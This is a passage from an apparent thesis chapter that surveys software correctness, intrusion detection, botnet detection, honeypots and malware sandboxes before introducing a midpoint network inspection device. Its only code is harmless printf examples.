has type int but is here used with type float”. Indeed, 2+3/2 is an integer computation, and its result is
37, not the float 3.5 as expected by the format “%f”. The correct version of the program:
P r i n t f . p r i n t f "%f " ( 2 . 0 + . 3 . 0 / . 2 . 0 ) ; ;
correctly outputs 3.500000. However, the expressiveness of languages based on static type-system are
limited. Dynamic type systems allow greater expressiveness by adding run-time checks. The object-
oriented Eiffel language has for example been designed with this model in mind [173]. However, the
guarantees offered by these systems are weaker, and offer partial correctness proof. Let’s take the ex-
ample of a dynamically checked computer software running the behaviour of an aeroplane. If a critical
and unknown bug is dynamically discovered during a flight, the passengers about to crash will have little
interest knowing the cause of the accident. Concerning the previously mentioned type-inferring, one
could say that languages like Python do it too. Indeed, there is no need to explicitly mention the type of
a variable in Python. However, Python uses what is called duck typing. Duck typing is a dynamic typing
system that uses a variable’s current set of properties to make type guesses. Therefore, Python uses the
possible buggy semantic of the program to guess variables types, which can therefore be erroneous too.
Let us write the previous example in Python:
p r i n t "%f " % ( 2+3 / 2 , )
Instead of outputting an error, the Python interpreter prints 3.000000 considering that as a float was
expected, the result of 2+3/2, 3, should be converted into a float. Programmers that have experienced
some hours or days debugging such unexpected behaviours by browsing thousands of line of codes,
will quite easily understand why the a priori simple idea behind the Hindley-Milner algorithm greatly
eases the task of developing correct software. For the developers that need to go beyond the boundaries
imposed by static type-system expressiveness, hybrid type checking proposes a synthesis of both of the
approaches [120]. They perform static analysis when possible, and put dynamic checking otherwise.
Another more specific problem a computer software needs to deal with is memory management.
Before trying to write somewhere in memory, the program should first check if there is available room,
allocate the available region to prevent others to write there, and then liberate it in case others need it. This
tedious task is the cause of the many computer bugs, like the causes of stack or heap overflows. That’s
why computer language designers developed garbage collectors. Garbage collectors automatize memory
tasks and ensure that all memory accesses are guaranteed to be safe. This management has however a
cost, as some computation is needed to prevent memory consumption leaks [62]. These great advances
done in the computer language field however only apply to people willing to use them. Moreover, they
don’t apply to previously (or not yet) developed software in languages without such features. Therefore,
other techniques have been used to verify properties over computer software in general.
The model checking aims at browsing all the possible states an abstraction of a computing system
(usually computed by hand) could reach and check some properties over all of them [104, 105, 106].
This technique is limited by the combinatorial explosion of the number of states a system can reach. In-
deed, this number reaches quite easily astronomical values, requiring an unreasonable time for a modern
computer to explore. Some very interesting results have been obtained without overcoming the latter
limitation in real time software and system engineering.
7Or 4 whether 3/2 is approximated to 1 or 2.
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Static program analysis aims at analyzing a computer program without executing it8. In 1936, Alan
Turing predicted that his universal machine could not resolve a particular problem. Indeed, his machine
cannot say whether a program will halt with a given input [231, 184]. In other words, a computer pro-
gram could not say by static analysis whether any other computer program will stop or indefinitely loop.
Together with other problems, the latter proved that static analysis is undecidable [160]. However, ab-
stract interpretation tackles the verification problem differently. As depicted by Cousot in [108], this
field of research acknowledges that “since program verification is undecidable, computer aided program
verification methods are always partial or incomplete. The undecidability or complexity is always solved
by using some form of approximation. The purpose of abstract interpretation is to formalize this notion
of approximation in a unified framework.” Practical realisations using such technique have successfully
checked the absence of out-of-bound array indexes, like buffer overflows, and logical correctness of in-
teger and floating-point arithmetic operations, involved for example in integer overflows [80]. However,
this technique still needs human expertise to obtain valuable properties on specific programs. Indeed,
after verifying a specific type of program of 30.000 LOC (lines of code), the designed technique did not
work on larger programs (250.000 LOC). To sum up, even if very promising, these technologies have
still some path to follow before being applied in the design of a significant amount of Internet software.
The pioneer article written by Hoare in 1969 opened the path to formal verification of programs
[133]. As depicted in a retrospective of his work [132] written in 2009, C.A.R Hoare says that: “My
[...] job (1960 - 1968) was [...] to lead a team that implemented an early compiler for ALGOL 60.
Our compiler was directly structured on the syntax of the language, so elegantly and so rigourously
formalized as a context-free language. But the semantics of the language was even more important,
and that was left informal in the language definition. It occurred to me that an elegant formalization
might consist of a collection of axioms [...] that would be strong enough to enable programmers to
discharge their responsibility to write correct and efficient programs.” The idea behind this sentence is
that, writing correct and efficient programs is a difficult enough responsibility so that a new technology
needs to be designed to discharge programmers from doing it. The developing of programs to automate
logical and mathematic proofs followed this path and permits nowadays, even if very expensive, the
realizations of correct software. Two recent experiments are worth quoting. Leroy et al. conducted the
development of a verified compiler using such a method [163]. The source language targeted by the
project was a subset of C, called CLight. The developed compiler traduced programs written in CLight,
to the language used by PPC computers, an implementation of a von Neumann machine. They used the
Coq proof assistant9 to certify the compiler. This tedious task was achieved by the equivalent of 2 person
years (py) work to produce a project consisting of 13% of program code, and 87% of certification code.
In [154], a team of about 13 people, implemented and formally proved another significant computer
program: the micro-kernel of an operating system seL4. This other tedious task, consumed 2.2 py for
developing and 20 py for designing the proof framework and writing the proofs of the program by means
of the Isabelle proof assistant 10. Thanks to the knowledge acquired during the experiment, the authors
claim that a similar new realization (implementation + proof) could be reduced to 8 py. We do think
that both results are worth emphasizing: the previous two complex programs are correct, which means
among others, attacking them is impossible. This approach has however still a non negligible cost to be
widely adopted in software programming industry. Nevertheless from our point of view, this approach
8Static type-systems are a particular case of static program analysis
9http://coq.inria.fr/
10http://www.cl.cam.ac.uk/research/hvg/Isabelle/
13
CHAPTER 1, SECTION 1.2
is the most promising solution ever proposed against botnet proliferation, even if program correction
checking has a wider purpose than computer security.
Correct systems are therefore still difficult to implement. To build reliable systems, one solutions is
based on the system closure [111]: no action is permissible unless explicitly authorized. This principle
inspires Protection Systems which aim, once authentication processes are done, at:
• blocking non authorized operations,
• limit the propagation of errors, in our cases, what an intruder could do.
Such mechanisms use three entities:
the subject an active entity executed from some user account,
the object a passive entity defined by a current state, and access functions,
rights the specification of the accesses a subject is allowed to perform on objects.
Therefore, a protection system checks the coherence between the rights and the accesses performed by a
subject.
One way to limit the possibility of exploiting a vulnerability is to restrict the rights (read, write,
execute), a subject or process on a von Neumann machine has on its memory (the object). Some operating
system and computer architectures have therefore proposed functionalities, to put some order to the
potential mess present in their storage. Memory segmentation enables to divide this global memory into
different segments managed by access rights. That way, a segment can be configured to only store data,
and therefore prevent a process from executing this content. This system can be seen as a compromise
between von Neumann and Harvard architectures. Multics [151] or the IBM 801 operating systems [96]
implemented such concepts about 40 years ago. The growing threat represented by computers intrusion
made developers of some modern computer system willing to incorporate this idea. The Pax11 and
W^X 12 projects have been proposed to the Linux and OpenBSD operating systems. Intel and AMD
processors, other implementations of von Neumann machines, implemented the NX/XD13 technologies
to facilitate such implementations too. The Windows family operating system used it to implement the
Data Execution Prevention (DEP), since the Windows XP SP2 version. This new technology induced
backward compatibility problems: some popular computer software does not work when the DEP is
enabled, which is a non negligible problem for the wide adoption of such technologies. To bypass
these new protection systems, instead of loading instructions in data memory that is no more executable,
different intrusion techniques have converged to the so called Return-Oriented-Programming technique
[218, 121]. After having identified a sequence of instructions already available into instruction memory,
this technique makes the hijacked PC execute the preselected list of instructions. Then the Address Space
Layout Randomization (ASLR) was created to counter such attacks, which basically consists in putting
instructions at random locations so that the intruder could not predict and select them.
Concerning command injections in WebL, some languages provide libraries to filter the eventual
instructions contained in input values like stated in [224], or more generally gives the user the possibility
of configuring whether he wants to execute the incorporated script or not like the NoScript plug-in in the
Mozilla Firefox web-browser 14.
11http://pax.grsecurity.net/
12http://www.openbsd.org/security.html
13http://www.intel.com/cd/ids/developer/asmo-na/eng/149307.htm
14https://addons.mozilla.org/fr/firefox/addon/722
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More generally, protection systems could be used to define at different granularities, the rights a
subject has on objects. Indeed, if an intruder takes the control of one process without the rights to craft
the packets to conduct a TCP SYN Flooding, a botware will have to obtain these rights by other means
to conduct such attack. However protection systems involve two main issues. First implementing the
strict rights each process can have is not scalable. Then, so that a software works correctly in a Protected
System, some expertise is needed to identify the rights the latter needs when providing its functionalities:
a Web browser will not work if it has not the rights to send packets in the Internet. Different operating
systems implemented protection systems with different level of granularities, like Amoeba [179], Chorus
[215] or Mach [241]. Moreover, a proposal for implementing such a system using Smart Cards has been
done by our laboratory [112]. Here again, taking apart some isolated projects like GrSecurity15 , a quite
isolated version of the Linux operating system, the idea does not seem popular among widely deployed
operating systems.
Finally, even if different solutions exist, the deployment of these different techniques does not seem
to be applied, as most of the malware still efficiently use code injection techniques as their weapon of
choice [141].
Considering that end-host software faults exist and cannot be tolerated, the following section presents
different ways to to monitor suspicious programs.
1.2.2 Monitoring Suspicious Computer Programs
After being suspicious of some computer behaviour, and knowing that intrusions were possible, some
administrators used to ask (and still ask) some experts to audit it. Here again, computer scientists started
automatizing this process in 1980 and Intrusion Detection Systems (IDS) were created [144, 178, 211].
To sum up, we can classify Intrusion Detection techniques into two categories: misuse detection and
anomaly detection [185]. Misuse detection aims at detecting known attack patterns [140, 156]. Anomaly
detection models the observed users behaviour and considers any significant deviation as an attack.
Anomaly detection is not specific to cyber-intrusion detection, it can be used in among others, fraud,
medical anomaly, and textual anomaly detection [95]. For a survey of the latest findings of Internet
anomaly detection, the reader is invited to read the detailed survey by Patcha and Park [196]. The
main difficulty anomaly detection has to face is the characterisation of Internet user’s normal behaviour.
Indeed, such behaviours can be very different, and change very fast. That’s one of the reasons why
pragmatic people don’t believe in anomaly-based approaches [122]. However, even if being the most
efficient short-term strategy, misuse detection has two main drawbacks. First, if the diversity of attacks
is too important, this strategy is not scalable. Last, this strategy can only be reactive. Therefore, current
systems try to use ad-hoc combination of both [209].
Intrusion detection systems can then be classified according to the location where the monitoring
software is installed:
Host IDSes in the same computer where intrusions are observed. Very precise information can be gath-
ered on the behaviour of program or connected users. However, if the computer has already been
infected, the malicious program could try to trick or uninstall the monitoring program.
Network IDSes in an interconnection point on the Internet. The software inspects the packets going
through its location. Less information can be observed than in the host configuration, but much
15www.grsecurity.net
15
CHAPTER 1, SECTION 1.2
more computers can be inspected. Another challenge such equipment needs to face is real-time
constraint. Indeed, packets can go very fast, sometimes faster than the detection algorithm.
1.2.2.1 Host IDS-es
One of the most deployed host Intrusion Detection Systems are antiviruses. Such antivirus systems
extensively use misuse detection techniques for pragmatic reasons. The so called antivirus signature
updates are therefore mandatory to have an up to date protection system. These solutions need however
to face, together with the limitations of misuse techniques, a side effect of the expressiveness of von
Neumann machines. Von Neumann machines can compute computer programs. Malware developers
have here again used this functionality to counter misuse detection techniques. Polymorphism [180, 73]
and metamorphism [82] make the task of such IDSes much more difficult. Polymorphic viruses, before
propagating, use ad-hoc algorithms to produce a different version of the binary. This algorithm takes
the malicious instructions to hide as a stream of bytes and apply a reversible transformation to them.
A routine is then appended at the begining of the transformed stream. The latter applies the reverse
transformation to the new block to get the initial one back, and then executes it. Metamorphic viruses
first compute an abstract version of themselves, called their semantic. Then, they compute a sequence
of instructions conducting to the same results, but being as different as possible (in term of the stream of
bytes) from the previous version. Indeed, 1+2 and (1−1)∗0/3+15/5 produce the same results even
if different. The theoretical results give bad news to the antivirus mechanisms based on static analysis.
Indeed, polymorphic viruses static detection problem is NP hard [221], as the metamorphic one [82]. NP
hard problems are problems that can reasonably be solved16 using a non deterministic Turing machine,
i.e a computer that can execute an arbitrary and non predefined number of Turing machines in parallel.
Implementations of such computer do not exist yet, and therefore these problems cannot be nowadays
pragmatically solved. Antiviruses together with network IDSes need therefore to use other techniques,
like virus execution emulation, to counter such trends [209]. The problems antivirus or IDSes need
to tackle are therefore complex, and solutions implementations expensive, reactive, and probably not
scalable. It’s not surprising that the results obtained by commercial products are quite bad [100, 101, 20].
However, detecting malware is only the first part of the problem. Antiviruses also need to remove the
infected binary from the system, which is another tedious task. Here again, these software products show
their limits [195].
Antivirus software is installed in end hosts. However, network administrators cannot say whether for
example all users have an up to date signature database in their system. That’s, among others, a reason
why network intrusion detection systems appeared.
1.2.2.2 Network IDS-es
Similar misuse detection schemes have been applied to the detection of malicious network byte patterns,
using static [90] or dynamic [202] analysis. To handle network attacks, Network Intrusion Detection Sys-
tems (NIDS) use the techniques proposed in the network measurement field. Network measurement aims
at understanding the characteristics and dynamics of the stream of bytes going through one interconnec-
tion device. This recent field of research comes from a need network or Internet Service Provider (ISP)
administrators have. Indeed, after having interconnected different Internet networks, evaluating their
efficiency is not trivial. Even if some end users report very bad bandwidth performance, understand-
ing its causes needs expert auditing. Measurement therefore aims at understanding Internet dynamics
16Using an acceptable amount of computing time on an affordable amount of computers.
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to automate or at least ease the design, the deployment, and maintenance of interconnection device and
networks. Detecting Internet traffic volume anomalies is therefore of great interest for ISP or network
administrators at large. Indeed, they can have to face different undesirable situations. Let’s say two
ISPs make a deal to share half of the communications between two parts of the Internet, N1<−> N2.
Half of the traffic will go from N1− ISP1−N2, and the other half through N1− ISP2−N2. Both of
the ISP buy the infrastructures to handle half of the network communications of users in N1 and N2.
However, let’s say a network engineer working at ISP1 does an error and makes the traffic from N1 go
to ISP2 first. Here, ISP2 has to handle 100% of the traffic, over-sizing its capacity. Detecting this kind
of changes as fast as possible is therefore mandatory for ISPs. The same way, the appearance of band-
width consuming network attacks, or worms create similar problems. Therefore, reactive algorithms to
detect network traffic volume anomalies have been designed. These algorithms need to face two main
problems: the real-time constraint again and legitimate traffic increases, commonly named flash-crowds
[146]. Two different strategies are commonly used in measurement: passive measurement, which bases
its analysis upon observed packets, and active measurements, which sends probe packets to extract more
information.
The real-time constraint comes from the fact that in Internet’s core networks, like the one managed by
ISP1 and ISP2, interconnection devices already use most of their computing capacity to forward packets
at some 10 or 100 Gigabits per second [143]. Therefore, some algorithms choose to work on periodic
or random samples of such byte streams [159]. Most of the work done in the detection of anomaly
in traffic volume has studied the number of packets and bytes time series. The studies have proposed
different statistical models to distinguish normal from abnormal traffic, using different signal processing
techniques [159, 217, 242]. Active detection paradigms propose different algorithms to detect similar
anomalies [238, 158].
However, some attacks like the naptha attack we mentioned earlier, need very little bandwidth and
such algorithms will perform poorly there. Indeed, the anomaly does not concern the volume of the
traffic, but relies on the information exchanged by specific packets. That’s why other techniques use
more specific data, like the information contained in different packet headers. Some studies propose
techniques to detect ICMP, UDP floods or TCP SYN floods [87, 186]. Even if such techniques can
detect the attack we mentioned earlier, network attacks evolve the same way as malware and malicious
activity adapt themselves to the apparition of antiviruses. Indeed, as we said earlier, the denial of service
of a particular site could be provoked by mimicking a flash crowd [205]. Therefore, the previously
mentioned techniques that focused on distinguishing flash crowds from denial of service attacks are
useless in this case. The solutions depicted in [239] propose an algorithm to learn the normal behaviour
of a web server clients, enabling the distinction from malicious flood requests. This technique is based
on the assumption that the attacker is unable to intercept and collect the HTTP requests a legitimate
user sends to the target. Let’s take the example of a botnet that records different web activity pattern of
clients from infected computers, by sniffing the network packets it sends. This botnet could then replay
such activity to conduct an attack while being considered as normal by previously mentioned algorithms.
We therefore do think that all these techniques, even if useful for some network attacks, could do little
against a quite evolved botnet. Hopefully, instead of detecting network attacks, network measurement
has tried to detect botnets too. If we take another look at the Figure 3 of our introductory chapter, the
traffic sent by a corrupted node is sufficiently different to distinguish it from non infected ones.
First botnet detection techniques are based on extrapolating the results obtained from the local study
of a botware. The studies in [114, 124, 222] exploit the fact that some botware use different dialects
of IRC as C&C protocol. Therefore, they reduce the problem of detecting bots to the detection of such
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dialects. This method can be quite easily bypassed by designing a mapping from normal IRC commands,
to a language expressing malicious actions. Rajab et al. first analyze some patterns extracted by the local
analysis of some botware, namely DNS resolution and IRC protocols towards some destinations in the
Internet in [54]. Then, they extrapolate such behaviour to identify nodes conducting similar activities
on the Internet at large. Livadas et al. propose another solution in [167]. After selecting IRC flows
from others, they use machine learning techniques to differentiate legitimate IRC flows from bot flows.
This technique can be tricked by the mapping technique we mentioned before. The study in [168]
generalizes this approach in a framework to perform similar actions on other C&C protocols. Some bots
make extensive use of the DNS protocol to hide or migrate some of their C&C servers. That’s why
some research has focused its efforts in the monitoring of the DNS protocol [232]. This approach uses
a training set containing legitimate and malicious queries, and then classifies hosts making known or
unknown queries by a bayesian classifier. The need for a valid data-set proves that the technique is not
sufficient. Other techniques are based on the assumption that bots perform synchronized and distributed
actions according to commands sent by the same C&C channel. Hyunsang et al. try to group in [99]
computer nodes performing similar and synchronized DNS requests, making the assumption that botware
perform similar and synchronized DNS requests. A very specific solution is depicted in [79]. Binkley et
al. try to detect nodes using IRC protocols, and among them selects the ones performing a network scan.
A network scan is the most simple way one could use to discover services in the Internet. One just need
to choose a subspace of all IP addresses, and try each address in this subspace. Some botware use this
technique to discover vulnerable services, or in other words possible propagation targets. Bots are then
discovered by correlating an IRC activity with a network scan. Gu et al. generalized this approach to two
HTTP channels and other network anomalies like spam or malicious binary download [4]. In their latest
work they generalized the idea to any C&C [129]. Their methods first group, by clustering techniques,
network nodes according to the different network applications they use and by the attacks they perform.
They finally correlate both clusters and consider network nodes to be in the same botnet if they are both
in the same correlated groups. We think this novel approach can be criticized by two facts. First, their
algorithm needs first an algorithm to efficiently detect network attacks in the Internet (this is needed by
their algorithm). However, if we could know that a node is perpetrating an attack, then we could deduce
that the node is malicious, and that it must be analyzed without trying to detect whether this node is part
of a botnet. Moreover, to evade these algorithms, bot developers can try to randomize the delay at which
they interpret some orders or use multiple C&C protocols to trick the first clustering algorithms.
Finally, all these botnet detection techniques need to have information on bots behaviour. Indeed,
they all base their misuse or anomaly detection algorithms on malware behaviours. This enables such
researchers to select proper observable and to create the necessary data-sets to tune, and evaluate their
algorithms. Therefore, a previous observation or study of botware functioning is most of the time manda-
tory.
1.2.3 Observing Malicious Behaviours with End-Host Software
Aiming at gaining information on malicious activity on the Internet, some people started to design what
are called honeypots.
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Figure 1.3: Honeypot classification
1.2.3.1 Honeypots
As stated by [119], there is no consensus on a global honeypot definition. In this thesis, we have cho-
sen the one stated in [119]: “A honeypot consists in an environment where vulnerabilities have been
deliberately introduced in order to observe intrusions.”
As shown in figure 1.3, honeypots can be classified in function of two parameters [66]:
1. The interactivity they offer to the attacker, called Depth of the honeypot (Y-axis). Indeed, putting
a real vulnerable server in a computer network presents two main drawbacks. First, extracting
valuable information from a successful penetration is difficult to automatize. Then, hosting a
deliberately corrupted node is hazardous and illegal. However, monitoring the requests sent to an
unused IP address, without any interaction gives little information on the purpose of the source
address: is it a malware trying to propagate ? Someone that misspelled an IP address ? A packet
due to the bad configuration of a router ? That’s why different level of service emulation have been
proposed by different honeypots.
2. The scope they reach, called Breadth of the honeypot (X-axis). If we take the case of “silent”
honeypots that don’t make some kind of advertisement to attract attacks, they will only be targeted
if they ’luckily’ appear in some malware hit list. Therefore, putting a distributed honeypot network,
with nodes disseminated around the Internet, has more probability to be in more hit-lists than a
single one. However managing N honeypots, requires more resources.
The best interactivity/cost ratio has been achieved by VM-based, Honeyfarm, or Emulation solutions.
VM-based solutions, are honeypots that use virtual machines [203]. A virtual machine can be seen as an
abstraction of a computer machine, that runs on a real machine. Virtual machines offer very interesting
features for honeypots. First, such machines enable to run multiple virtual machines on a single real
computer. Then, such technology enables to take snapshots of machines. When taking a snapshot, all
the state of the virtual computer is stored in the real computer. Then, by loading this state, the virtual
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machine goes back to the state recorded and runs from there, as if nothing happened after having taken the
snapshot. Moreover, snapshots enable to launch honeypots very fast (no more booting process). Finally,
after analyzing successful intrusions, there is no need to clean the computer before reusing it, one just
needs to load a clean snapshot. Virtual machines are therefore very useful to improve the automation
and the deployment of honeypot experiments. With a fine-tuned use of this technology, Vrable et al.
successfully deployed 2100 honeypots simultaneously using 10 real servers [233]. Having a virtual
machine enables then to ease the implementation of modified von Neumann machines, used among other
as honeypots. In [204], Portokalidis et al. used what they called memory tainting. Their system works
by tagging all the bytes in memory storing information coming from the network. Then, they monitor
the PC evolution, and consider an intrusion has been perpetrated if the PC points to a tagged byte.
This solution has therefore the capability of automatically discovering new vulnerability exploitations
by code injection attacks and generating vulnerability signatures. The very interesting work done by
Costa et al. [107] generalizes this idea, and provides a global healing architecture. First, an algorithm
is used to validate the generated signatures. A communication protocol propagates valid ones to other
computer software presenting the same bug. Finally, the last algorithm automatically patches vulnerable
software against this attack. The latter inserts a filter to the processing of input bytes to remove potential
intrusions. This method has however a non negligible cost as the monitoring of PC evolution is expensive
[235]. Instead of instrumenting a Virtual machine to implement a single honeypot, multiple honeypots
can be instantiated by means of Honeyfarms.
Honeyfarms aim at resolving the problem of managing a network of distributed honeypots. This so-
lution is based on two main technologies: network redirectors and virtual machines. Network redirectors
process the requests between malware and honeypots’ communications to send them to an appropriate
and eventually dynamically created virtual machine acting as a honeypot. This approach aims at cen-
tralizing the equipment needed to host the honeypots, and limits the software to deploy in the Internet
to the only redirectors. Xuxian et al. propose in [145] an architecture to develop honeyfarms, having
vulnerabilities in server, and client software too, unlike the proposition done in [233] which only ad-
dresses server software. The last honeypot implementations aim to ease the deployment by emulating
vulnerabilities.
Emulation based honeypots develop computer software emulating a vulnerable computer’s be-
haviour. This enables to configure as wanted the interaction up to which the intrusion scenario is perpe-
trated. This approach started with a popular tool called Honeyd [206]. The level of interaction provided
by the tool is low, and implementing vulnerabilities emulation software manually is a tedious task. In
[162], Leita et al. proposed and developed the idea of synthesizing such software by mimic-ing vulnera-
ble hosts. In [64], Baecher et al. developed the so-called vulnerability emulators with the specific goal of
downloading malware trying to propagate. Once the malware is downloaded, the next step one is willing
to make is to execute it. However, malware execution is the most hazardous task of a successful intrusion
observation. Therefore, the automation of such observation needs special environments, i.e sandboxes.
1.2.3.2 Sandboxes or the Need for Dynamic Malware Analysis
In this section, we first describe the different techniques used by malware developers to make their
detection more difficult. Then, taking into account that countering this new techniques is unfeasible using
static analysis, we introduce the sandboxes that permit to automate the dynamic analysis of malware.
These sandboxes have two purposes. First, compute a new version of the malware binary that can be
statically analyzed. Then, the clustering of malware binary which helps reducing the number of malware
to analyze.
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A malware needs nowadays to perform its functionality in an environment where anti-malware tech-
nologies are installed. One of the most widespread defensive technology is implemented by means
of antiviruses. An unknown malware will hardly be detected by antiviruses. However, a malware
does not remain indefinitely unknown. For example, such a malware can be identified using computer
forensics methods on a suspicious computer. Then, the malware is sent to antivirus companies so that
malware reverse-engineering experts could add a new signature into their database. Therefore, to im-
prove their lifetime, malware developers use different techniques to create obfuscated self-modifying
code. Such techniques use combinations of metamorphism, polymorphism together with anti-malware
systems’ detection techniques to create packers: “programs that transform an executable binary into
another form so that it is smaller and/or has a different appearance than the original to evade detec-
tion of signature-based anti-virus (AV) scanners” [130]. Quite a lot of packers are nowadays available
[2, 47, 220, 69, 115, 174, 227]. In [130], Guo et al. state that there exists at least 2000 variants of
packers, that could be classified into 200 different families17. As depicted in [137], the antivirus com-
pany Symantec received 499.811 malware in the second half of 2007, which makes a rate of 2738,68
malware to analyze per day. The malware analysis process needs therefore to automatize some tasks.
However, it should be reminded that static analysis of poly and metamorphic binary is NP-hard. Given
the proliferation of packed malware, dynamic analysis of malware binary seams to be mandatory. How-
ever, dynamic analysis implies to execute, or at least emulate, some parts of the malware which can be
hazardous. That’s why sandbox-es are developed to control the way malware binary is executed in the
analysis process.
To ease the analysis of packed malware, unpackers have been designed. Unpackers, i.e programs
that try to extract the un-obfuscated malware binaries, are sandboxes that most of un-obfuscated mal-
ware analysis methods rely on. The propositions depicted in [130] and [170] instrument variants of
the Microsoft Windows operating system to monitor write and execute queries on the malware process
address space, i.e. its memory. Depending of the proposed solutions, an additional intrusion detection
system: an AV in [130] and a list of system calls considered as dangerous in [170], is used to analyze
when modified pages are about to be executed. The unpacking is considered as finished upon the trigger-
ing of an alarm. The sandbox here is the software used to monitor the executions and modifications of the
process address space. Instead of putting the sandbox into the kernel space of an operating system, other
technologies use virtualization -or emulation- based approaches to isolate the modifications done by a
malware to the system executing it. Tools like Anubis [1], CWSandbox [9], or Norman Sandbox [27] in-
strument an emulator and its operating system to perform dynamic malware analysis. Norman Sandbox
it emulates distant servers too, trying to make a malware think it has Internet connectivity. This approach
has been applied to some botware network communication dynamic analysis too [68, 176]. To limit such
system’s usefulness, some sandbox detection techniques, exhibit the differences between emulators and
real computer’s behaviour to detect whether the malware is executed in an emulator or not [230, 171],
or even worse find exploitable vulnerabilities there [190]. The similar idea motivates the detection of
emulated Internet environments [245]. Therefore, as depicted in [97], modern malware try to detect such
kind of environment and modify their behaviour according to the execution environment. That’s why
Dinabur et al. propose in [113] to monitor similar observable as in [170], i.e. write/exec queries and
system calls, but from a virtual machine hypervisor, in this case XEN [49]. Instead of using a computer
software emulating a computer processor, such technology asks the processor to directly execute the in-
structions, and therefore limits the differences between a real and virtualized environment. Similarly, in
[152], the monitoring process is installed in the virtual space too. However, this solution monitors system
17The different modifications of a same packers belonging to the same family.
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state modifications (files creation, process creation) instead of system calls to create a causal dependency
graph: which actions produced which modifications to characterize malware behaviour. Finally, dy-
namic analysis can detect malware trying to steal confidential information [116, 240], or provides a way
to detect what events activate some sleeping malware [177].
However, the packing of malware is not the only cause of the number of different malware binaries
antivirus companies needs to deal with. As depicted in [137] “most new malware samples are variants of
previously-known samples through mutation of their source or binary code”. Therefore, the clustering
of malware is interesting because it can help reducing the amount of malware to analyze manually by
grouping malware belonging to the same ancestor. To do so, Hu et al. propose to perform static analysis
on a dynamically unpacked malware and group them according to the similarity of their function-call
graph [137]. In [212] the information obtained from CWSandbox is used as clustering input. Similarly
in [72] the clustering input is obtained from the Anubis sandbox. As shown by emulation detection
techniques used by malware, the interaction level of the sandbox influences the information that can be
extracted from the dynamic analysis of malware. Previous solutions did not offer real Internet interaction
to the malware being analyzed. Indeed, this can be hazardous, as a malware could try to attack a third-
party APS during an analysis. That’s why in [65], a solution based on the clustering of information
extracted from the sandbox depicted in [152], the author state that “the [sandbox] is partially firewalled
so that the external impact on any immediate attack behaviours (e.g. scanning, DDoS, and spam) is
minimized during the limited execution period”. The lack of precision18 on the solution adopted to handle
such a big problem shows that monitoring dynamically analyzed malware’s network communications is
open for contribution. Indeed, botware execute actions according to the orders they receive from the
C&C communication protocol. Therefore, if the sandbox does not let the malware communicate through
this protocol, the malware would not perpetrate some actions. However, letting a malware perpetrate
intrusion or network attacks towards remote systems is illegal in most developed countries. Therefore,
nowadays botware dynamic analysis is performed using ad-hoc sandboxes, where, as we have previously
said, little details are given about the policy used to monitor their network behaviour [135, 98, 128], or
where no inspection is performed on the communications deliberately sent to the Internet [1, 9].
We have proved in this section that significant advances have been done in correct software develop-
ment. Given the fact that such techniques are not universally adopted, other techniques exist to limit the
side effect of successful intrusions. However, such solutions have not been adopted yet and therefore, an
heterogeneous set of algorithms and computer software have been developed to monitor suspicious soft-
ware. Finally, to gather information about Internet’s malicious activity, another kind of software aiming
to observe malicious activity has been developed too. We’d like to emphasize again that both monitoring
and observation software we are aware of have not taken into consideration the advances done in correct
software development leading to possible strange situations.
1.3 Monitoring Malicious Behaviours using Correct Software in Midpoint
Devices
We do think that the problems raised by botnets are due to the underestimation of the challenges a soft-
ware connected to the Internet needs to face. The recent critical vulnerabilities found in the TCP stack of
18The reader is invited to imagine what a partial firewall could mean, and to what extent it could minimize which impact on
third party ADPS.
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Microsoft Windows operating system families, MS09-04819, or in the SCTP stack of the Linux kernel,
CVE-2009-006520, argue for this idea. As we stated earlier the race for innovation influences the devel-
opment process to create new potentially incorrect functionalities, and therefore the apparition of critical
bugs. The results obtained by the OpenBSD21 project shows that such a race does not explain it all. Quot-
ing the home page, “[their] efforts emphasize portability, standardization, correctness, proactive security
and integrated cryptography”. Their development process that relies on heavy expert human auditing of
software developed in C language, has still lead to 2 critical vulnerabilities during 15 years of existence.
The latter experiment proves the point of John Backus that criticises von Neumann inspired languages.
For these reasons, we state that endhost software cannot reasonably be trusted, and that they must be
monitored. Given the fact that once an intrusion is successfully perpetrated on a computer system, due
to the lack of intrusion tolerant systems, most of the software connected to this system can be controlled
by the intruder. Therefore, we state that the monitoring software should be installed in interconnection
points, what we call midpoints. Given the analysis we made on the source of the problems raised by
botnets, our monitoring software must be correct. However, as we depicted earlier, formal verification
of an entire software is nowadays still too expensive. Meanwhile, statically type-safe languages that use
garbage collectors offer, even if not total correctness, at least guarantees against code injection threats,
like stack and heap overflows, or format string vulnerabilities. Moreover vulnerabilities come from bugs.
Considering that such languages provide a static bug checking algorithm, the developped system will be
safer using such a language. We have therefore chosen for pragmatic reasons to formally prove only the
main parts of our monitoring software installed in a midpoint, and delegate the checking of the correction
implementation to a static type checking algorithm. The following chapter describes the details of this
tool we call midpoint inspection device.
19http://www.microsoft.com/technet/security/bulletin/ms09-048.mspx
20http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0065
21http://www.openbsd.org/
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Motivations, Design and Implementation of a
Midpoint Inspection Device
“Knowledge is only part of understanding. Genuine understanding comes from hands-on
experience". Seymour Papert.
To understand the functioning of our tool, the first section makes an introduction on how endhosts in
the Internet inter-operate. The next section illustrates then how our midpoint inspection device incorpo-
rate these inter-operable mechanisms to provide an expressive language and algorithm to configure this
inspection. The interpreter of this language gives the possibilities to make with a single software, what
up to know required multiple ones. Finally, the last section describes the benchmarking of our midpoint
inspection device on two end-host monitoring case studies.
2.1 Challenges Faced by a Midpoint Device
2.1.1 Midpoint vs Endpoint
We describe here the difference between midpoint and endpoints’ point of view. First, the layering
principle is described so that the reader understands how endpoints in the Internet communicate.
2.1.1.1 The Layering Principle Used by Endpoints
The midpoint inspection device needs to perform inspections concerning the packets seen between moni-
tored endpoints. These inspections aim at making or validating that endpoints behave as expected. There
are however some major issues such a midpoint device needs to deal with.
The Internet endhost functioning is deeply inspired by the layering principle of the Open Systems
Interconnection (OSI) model [244]: “The basic idea of layering is that each layer adds value to services
provided by the set of lower layers in such a way that the highest layer is offered the set of services needed
to run distributed applications. Layering thus divides the total problem into smaller pieces”. Let’s try to
understand why such layering is interesting by analyzing the trips of a Chinese and American diplomats
going to an international conference in Moscow.
The Chinese diplomat first takes a car to reach the Beijing Capital International Airport. From the
airport he flies to Russia, and then takes another car to reach the conference room. To do so, he first
needs to know how to drive a car according to Chinese rules of the road. He then takes a seat on the
plane and lands at Moscow. From there, he needs to drive a car according to Russian rules. Analogous
knowledge is required from the American diplomat. What should be noticed here, is that both diplomats
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Figure 2.1: Different layerings of Chinese and American diplomats
